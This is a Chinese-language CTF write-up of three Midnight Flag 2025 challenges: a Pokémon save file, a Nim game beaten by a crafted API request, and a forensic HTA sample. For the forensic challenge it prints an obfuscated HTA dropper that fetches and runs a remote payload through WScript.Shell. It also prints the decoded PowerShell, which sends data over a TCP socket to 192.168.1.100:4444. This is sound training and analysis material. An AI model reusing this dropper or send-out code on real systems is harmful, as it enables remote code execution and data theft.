Midnight Flag CTF 2025

比赛地址:Midnight Flag CTF

比赛时间:12 Apr 2025 16:00 CST - 14 Apr 2025 02:00 CST

复现的题目用🔁标注

Misc

HALL OF FLAGS 1/2

Challenge

HALL OF FLAGS 1/2

Signal lost… Attempting data restoration…

A corrupted memory fragment has resurfaced on the MIDNIGHT underground network. Battle traces, remnants of a forgotten team… An anomaly lingers within the archives of an old trainer.
The Hall of Fame records every victory, yet the very first entry seems to have been erased. Who were the true champions? What secrets lie buried in the depths of this save file?
Mission:
A save file pokemon_save.sav has been intercepted. Uncover the first team that marked the Hall of Fame. Access to this data is locked. Only the right tools can unearth these digital memories…

pokemon_save.sav

Format : MCTF{flag}
Author : An0nymoX

Solution

爷青回🤧🤧🤧

附件是宝可梦的存档,找个存档修改器打开,这里用的是 PKHeX

根据题目描述找到名人堂

MidnightCTF2025-1

题目又说要找真正的冠军

MidnightCTF2025-2

MidnightCTF2025-3

MidnightCTF2025-4

MidnightCTF2025-5

MidnightCTF2025-6

MidnightCTF2025-7

在这里能找到训练家的名字,按顺序拼起来就好了

1
MCTF{WELL-d0NE-Y0U-F0UND-HALL-0FAME)}

Web

BeatIt

Challenge

BeatIt

You’re up against The Bot—a relentless, merciless, cold-hearted machine that plays first. Why? Because I said so.

The Rules : (That You Must Obey !)

There are 20 sticks on the table. They stare at you. You stare back.
The bot always starts. No negotiations. This is my game, my rules.
On your turn, you can remove 1, 2, or 3 sticks. Choose wisely, mortal.
The player who takes the last stick LOSES. Meaning, if you pick up that final lonely stick… it’s Game Over. And the bot laughs at you. Probably…

Deployment : https://deploy.midnightflag.fr

Format : MCTF{Flag}
Author : Neoreo

Solution

这个游戏是一个经典的策略游戏,通常被称为 “取火柴游戏” 或 “Nim 游戏” 的变种。目标是避免拿到最后一根火柴。

MidnightCTF2025-8

一开始就处于劣势,可选范围在 1-3 ,真的玩是不可能赢的

抓包发现这个接口,写个脚本直接抽走 16 根就赢了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

url = "http://chall4.midnightflag.fr:14624/play"

cookies = {
"session": "eyJnYW1lIjoxN30.Z_vkGw.vP3iR4-d38QPNZkv-Hp9mMGJo7s"
}

data = {
"player_choice": 16
}

response = requests.post(url, json=data, cookies=cookies)

print(response.text)

MidnightCTF2025-9

(怎么拿到 flag 了还要骗我一下)

1
MCTF{FAKE_FLAG_FOR_TESTING}

Forensic

Hello

Challenge

Hello

I found this strange file on my computer, but i don’t know this type of file.

hello.hta

Format : MCTF{Flag}
Author : Lamarr

1
<!DOCTYPE html><html><head><title>Challenge MIDNIGHHHTT</title><HTA:APPLICATION ID="Challenge MIDNIGHHHTT" APPLICATIONNAME="Challenge MIDNIGHHHTT" BORDER="thin" BORDERSTYLE="normal" CAPTION="yes" ICON="" MAXIMIZEBUTTON="no" MINIMIZEBUTTON="yes" SINGLEINSTANCE="yes" SYSMENU="yes" WINDOWSTATE="normal"><script type="text/javascript">function _0x47c6(){var _0x24b5fe=['charCodeAt','2018493vyzWaQ','GET','1199740ZZkZMB','1113zrFMpW','983352JhRqSq','11GLgYUF','2042286SJcWYB','W1N','length','16kWycOk','status','LmxhbWFyci5iemgv','fromCharCode','25086eTSMGS','V1NjcmlwdC5TaGVsbAo=','2561550lxjKXE','563001FUFdqY','open','aHR0cHM6Ly9tY3Rm','send','4AXEFkT'];_0x47c6=function(){return _0x24b5fe;};return _0x47c6();}function _0x44d2(_0x42f8c7,_0x8488ed){var _0x47c61e=_0x47c6();return _0x44d2=function(_0x44d20f,_0x146a27){_0x44d20f=_0x44d20f-0x16a;var _0x3e9d64=_0x47c61e[_0x44d20f];return _0x3e9d64;},_0x44d2(_0x42f8c7,_0x8488ed);}(function(_0x363748,_0x2cce7f){var _0x3c7483=_0x44d2,_0x132437=_0x363748();while(!![]){try{var _0x29fe2c=-parseInt(_0x3c7483(0x17f))/0x1+parseInt(_0x3c7483(0x173))/0x2+-parseInt(_0x3c7483(0x175))/0x3+parseInt(_0x3c7483(0x16d))/0x4*(parseInt(_0x3c7483(0x171))/0x5)+-parseInt(_0x3c7483(0x17c))/0x6*(-parseInt(_0x3c7483(0x172))/0x7)+-parseInt(_0x3c7483(0x178))/0x8*(-parseInt(_0x3c7483(0x16f))/0x9)+-parseInt(_0x3c7483(0x17e))/0xa*(parseInt(_0x3c7483(0x174))/0xb);if(_0x29fe2c===_0x2cce7f)break;else _0x132437['push'](_0x132437['shift']());}catch(_0x28a4fc){_0x132437['push'](_0x132437['shift']());}}}(_0x47c6,0x543cf),(function(){var _0x584c3e=_0x44d2;function _0x34f9b4(_0x3215f4){return atob(_0x3215f4);}function _0xc1e5d1(_0x3f15e1){var _0x4ed775='';for(var _0xf35ea5=0x0;_0xf35ea5<_0x3f15e1['length'];_0xf35ea5++){_0x4ed775+=_0x3f15e1[_0xf35ea5];}return _0x4ed775;}function _0x377f01(_0x297534,_0x16c885){var _0x40528a=_0x44d2,_0x5abc45='';for(var _0x581cac=0x0;_0x581cac<_0x297534[_0x40528a(0x177)];_0x581cac++){_0x5abc45+=String[_0x40528a(0x17b)](_0x297534[_0x40528a(0x16e)](_0x581cac)^_0x16c885);}return _0x5abc45;}var _0x5295f9='TVNYTDIuWE1MSFhM',_0x42f735=_0x34f9b4(_0x5295f9),_0x871fec=new ActiveXObject(_0x42f735),_0xc3fb0e=[_0x584c3e(0x16b),_0x584c3e(0x17a),'Q0ZjR0ZDR2du'],_0x25f746=_0xc1e5d1(_0xc3fb0e),_0x16b3fc=_0x34f9b4(_0x25f746);_0x871fec[_0x584c3e(0x16a)](_0x584c3e(0x170),_0x16b3fc,![]),_0x871fec[_0x584c3e(0x16c)]();if(_0x871fec[_0x584c3e(0x179)]==0xc8){var _0x462594=_0x871fec['responseText'],_0x32ebbf=_0x377f01(_0x462594,0x42),_0x439677=[_0x584c3e(0x176),_0x584c3e(0x17d)],_0x66a026=_0x34f9b4(_0x439677[0x1]);new ActiveXObject(_0x66a026)['Run'](_0x32ebbf,0x0,!![]);}else throw new Error(_0x871fec[_0x584c3e(0x179)]);}()));</script></head><body></body></html>

Solution

一行也太难看了,丢给 AI 格式化一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
<!DOCTYPE html>
<html>
<head>
<title>Challenge MIDNIGHHHTT</title>
<HTA:APPLICATION
ID="Challenge MIDNIGHHHTT"
APPLICATIONNAME="Challenge MIDNIGHHHTT"
BORDER="thin"
BORDERSTYLE="normal"
CAPTION="yes"
ICON=""
MAXIMIZEBUTTON="no"
MINIMIZEBUTTON="yes"
SINGLEINSTANCE="yes"
SYSMENU="yes"
WINDOWSTATE="normal">
<script type="text/javascript">
function _0x47c6() {
var _0x24b5fe = [
'charCodeAt', '2018493vyzWaQ', 'GET', '1199740ZZkZMB', '1113zrFMpW', '983352JhRqSq', '11GLgYUF',
'2042286SJcWYB', 'W1N', 'length', '16kWycOk', 'status', 'LmxhbWFyci5iemgv', 'fromCharCode',
'25086eTSMGS', 'V1NjcmlwdC5TaGVsbAo=', '2561550lxjKXE', '563001FUFdqY', 'open', 'aHR0cHM6Ly9tY3Rm',
'send', '4AXEFkT'
];
_0x47c6 = function () {
return _0x24b5fe;
};
return _0x47c6();
}

function _0x44d2(_0x42f8c7, _0x8488ed) {
var _0x47c61e = _0x47c6();
return _0x44d2 = function (_0x44d20f, _0x146a27) {
_0x44d20f = _0x44d20f - 0x16a;
var _0x3e9d64 = _0x47c61e[_0x44d20f];
return _0x3e9d64;
}, _0x44d2(_0x42f8c7, _0x8488ed);
}

(function (_0x363748, _0x2cce7f) {
var _0x3c7483 = _0x44d2,
_0x132437 = _0x363748();
while (!![]) {
try {
var _0x29fe2c = -parseInt(_0x3c7483(0x17f)) / 0x1 + parseInt(_0x3c7483(0x173)) / 0x2 +
-parseInt(_0x3c7483(0x175)) / 0x3 + parseInt(_0x3c7483(0x16d)) / 0x4 *
(parseInt(_0x3c7483(0x171)) / 0x5) + -parseInt(_0x3c7483(0x17c)) / 0x6 *
(-parseInt(_0x3c7483(0x172)) / 0x7) + -parseInt(_0x3c7483(0x178)) / 0x8 *
(-parseInt(_0x3c7483(0x16f)) / 0x9) + -parseInt(_0x3c7483(0x17e)) / 0xa *
(parseInt(_0x3c7483(0x174)) / 0xb);
if (_0x29fe2c === _0x2cce7f) break;
else _0x132437['push'](_0x132437['shift']());
} catch (_0x28a4fc) {
_0x132437['push'](_0x132437['shift']());
}
}
}(_0x47c6, 0x543cf));

(function () {
var _0x584c3e = _0x44d2;

function _0x34f9b4(_0x3215f4) {
return atob(_0x3215f4);
}

function _0xc1e5d1(_0x3f15e1) {
var _0x4ed775 = '';
for (var _0xf35ea5 = 0x0; _0xf35ea5 < _0x3f15e1['length']; _0xf35ea5++) {
_0x4ed775 += _0x3f15e1[_0xf35ea5];
}
return _0x4ed775;
}

function _0x377f01(_0x297534, _0x16c885) {
var _0x40528a = _0x44d2,
_0x5abc45 = '';
for (var _0x581cac = 0x0; _0x581cac < _0x297534[_0x40528a(0x177)]; _0x581cac++) {
_0x5abc45 += String[_0x40528a(0x17b)](_0x297534[_0x40528a(0x16e)](_0x581cac) ^ _0x16c885);
}
return _0x5abc45;
}

var _0x5295f9 = 'TVNYTDIuWE1MSFhM',
_0x42f735 = _0x34f9b4(_0x5295f9),
_0x871fec = new ActiveXObject(_0x42f735),
_0xc3fb0e = [_0x584c3e(0x16b), _0x584c3e(0x17a), 'Q0ZjR0ZDR2du'],
_0x25f746 = _0xc1e5d1(_0xc3fb0e),
_0x16b3fc = _0x34f9b4(_0x25f746);

_0x871fec[_0x584c3e(0x16a)](_0x584c3e(0x170), _0x16b3fc, ![]);
_0x871fec[_0x584c3e(0x16c)]();

if (_0x871fec[_0x584c3e(0x179)] == 0xc8) {
var _0x462594 = _0x871fec['responseText'],
_0x32ebbf = _0x377f01(_0x462594, 0x42),
_0x439677 = [_0x584c3e(0x176), _0x584c3e(0x17d)],
_0x66a026 = _0x34f9b4(_0x439677[0x1]);
new ActiveXObject(_0x66a026)['Run'](_0x32ebbf, 0x0, !![]);
} else {
throw new Error(_0x871fec[_0x584c3e(0x179)]);
}
}());
</script>
</head>
<body></body>
</html>

JavaScript 代码的逆向分析和解密,代码的核心功能是通过 ActiveXObject 发起一个 HTTP 请求,获取远程服务器上的数据,并对返回的数据进行解密,最终执行解密后的命令

TVNYTDIuWE1MSFhM : Base64 编码的字符串,解码后为 MSXML2.XMLHTTP,这是用于发起 HTTP 请求的对象

Q0ZjR0ZDR2du : Base64 编码的字符串,解码后为 CFcGFCggn,拼接后形成完整的 URL

V1NjcmlwdC5TaGVsbAo= : Base64 编码的字符串,解码后为 WScript.Shell,用于执行解密后的命令

先发起 GET 请求,目标 URL 由多个 Base64 编码字符串拼接而成。获取响应数据(responseText),对响应数据进行异或解密,密钥为 0x42

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import base64

def main():
# Step 1: 解码目标URL
url_part1 = base64.b64decode("aHR0cHM6Ly9tY3Rm").decode('utf-8')
url_part2 = base64.b64decode("LmxhbWFyci5iemgv").decode('utf-8')
url_part3 = base64.b64decode("Q0ZjR0ZDR2du").decode('utf-8')
target_url = url_part1 + url_part2 + url_part3

# Step 2: 读取二进制文件
response = requests.get(target_url, stream=True, verify=False)
file_data = response.content

# Step 3: 异或解密
decrypted_data = ''.join(chr(c ^ 0x42) for c in file_data)

# Step 4: 输出解密结果
print(decrypted_data)

if __name__ == "__main__":
main()
1
2
3
4
$base64Encoded = "JHpGPVtUZXh0LkVuY29kaW5nXTo6VVRGODskcVc9W0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCJBRG9IZFJnOVVSSVlLakFIRjBNREdoSklabXdnSUZJVkxCZ3lVZ0lUVWhVM0F3cHFIZz09Iik7JGpSPSR6Ri5HZXRTdHJpbmcoJHFXKTskdEc9Ik15UzNjcjN0IjskckY9IiI7MC4uKCRqUi5MZW5ndGgtMSl8JXsgJHJGKz1bY2hhcl0oKFtpbnRdW2NoYXJdJGpSWyRfXSkgLWJ4b3IgKFtpbnRdW2NoYXJdJHRHWyRfJSR0Ry5MZW5ndGhdKSl9OyR5VD1OZXctT2JqZWN0IE5ldC5Tb2NrZXRzLlRjcENsaWVudCgiMTkyLjE2OC4xLjEwMCIsNDQ0NCk7JHBPPSR5VC5HZXRTdHJlYW0oKTskaUo9TmV3LU9iamVjdCBJTy5TdHJlYW1Xcml0ZXIoJHBPKTskaUouV3JpdGUoJHJGKTskaUouRmx1c2goKTskeVQuQ2xvc2UoKTs="
$decodedBytes = [System.Convert]::FromBase64String($base64Encoded)
$decodedString = [System.Text.Encoding]::Unicode.GetString($decodedBytes)
Invoke-Expression $decodedString

base64 字符串拿去解码一下

MidnightCTF2025-10

1
$zF=[Text.Encoding]::UTF8;$qW=[Convert]::FromBase64String("ADoHdRg9URIYKjAHF0MDGhJIZmwgIFIVLBgyUgITUhU3AwpqHg==");$jR=$zF.GetString($qW);$tG="MyS3cr3t";$rF="";0..($jR.Length-1)|%{ $rF+=[char](([int][char]$jR[$_]) -bxor ([int][char]$tG[$_%$tG.Length]))};$yT=New-Object Net.Sockets.TcpClient("192.168.1.100",4444);$pO=$yT.GetStream();$iJ=New-Object IO.StreamWriter($pO);$iJ.Write($rF);$iJ.Flush();$yT.Close();

解码后得到的 PowerShell 脚本

接下来要做的是使用密钥 MyS3cr3tADoHdRg9URIYKjAHF0MDGhJIZmwgIFIVLBgyUgITUhU3AwpqHg== base64 解码后的字符串进行逐字符异或运算

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import base64

# 异或解密函数
def xor_decrypt(data, key):
key_length = len(key)
return ''.join(chr(ord(data[i]) ^ ord(key[i % key_length])) for i in range(len(data)))

# 主函数
def main():
# Step 1: 提取并解码 $qW
qW_encoded = "ADoHdRg9URIYKjAHF0MDGhJIZmwgIFIVLBgyUgITUhU3AwpqHg=="
qW_decoded = base64.b64decode(qW_encoded).decode('utf-8')

# Step 2: 异或解密 $qW 的内容
tG_key = "MyS3cr3t"
rF_decrypted = xor_decrypt(qW_decoded, tG_key)
print(rF_decrypted)

if __name__ == "__main__":
main()

运行就能得到 flag 了

1
MCTF{ObfUSc4t10n_15_CRaaaaaaaaaazzYY}